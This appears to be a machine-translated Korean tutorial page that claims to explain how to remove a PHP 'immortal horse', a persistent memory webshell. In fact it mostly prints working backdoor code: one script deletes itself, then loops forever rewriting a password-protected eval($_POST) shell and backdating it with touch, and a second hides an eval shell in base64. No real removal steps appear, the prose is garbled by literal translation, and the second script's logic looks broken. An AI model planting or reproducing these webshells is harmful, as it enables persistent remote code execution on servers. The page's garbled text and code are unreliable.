>백엔드 개발 >PHP 문제 >PHP 불멸의 말을 삭제하는 방법

PHP 불멸의 말을 삭제하는 방법

(*-*)浩
(*-*)浩원래의
2019-10-10 10:13:414675검색

PHP 불멸의 말을 삭제하는 방법

불멸의 말이란 무엇인가요?

일반인의 관점에서 메모리 말은 절대 종료되지 않고 PHP 프로세스에 상주하며 무기한 실행되는 프로그램을 실행합니다.

생성 과정 (추천 학습 : PHP 동영상 튜토리얼)

Immortal Horse.php → 서버에 업로드 → 서버 실행 파일 → 서버 로컬 무한 루프 생성(한 문장.php)

위에서 순환하는 Immortal Horse Internet

<?php ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = &#39;2.php&#39;;
$code = &#39;<?php if(md5($_GET["pass"])=="1a1dc91c907325c69271ddf0c944bc72"){@eval($_POST[a]);} ?>&#39;;while (1){
    file_put_contents($file,$code);
    system(&#39;touch -m -d "2018-12-01 09:10:12" .2.php&#39;);
    usleep(5000);
} 
?>

인터넷에 떠도는 불멸의 말, 파일이 존재하는지 확인하지 않는 동안 메모리 트로이목마를 우회하려면 이 파일의 셸만 주석 처리하면 됩니다.

올바른 자세는 다음과 같아야 합니다:

Copy<?php
 ignore_user_abort(true);
 set_time_limit(0);
 $file = &#39;c.php&#39;;
 $code = base64_decode(&#39;PD9waHAgZXZhbCgkX1BPU1RbY10pOz8+&#39;); while(true) {     if(md5(file_get_contents($file))===md5($code)) {
         file_put_contents($file, $code);
     }
     usleep(50);
 }?>

위 내용은 PHP 불멸의 말을 삭제하는 방법의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!

성명:
본 글의 내용은 네티즌들의 자발적인 기여로 작성되었으며, 저작권은 원저작자에게 있습니다. 본 사이트는 이에 상응하는 법적 책임을 지지 않습니다. 표절이나 침해가 의심되는 콘텐츠를 발견한 경우 admin@php.cn으로 문의하세요.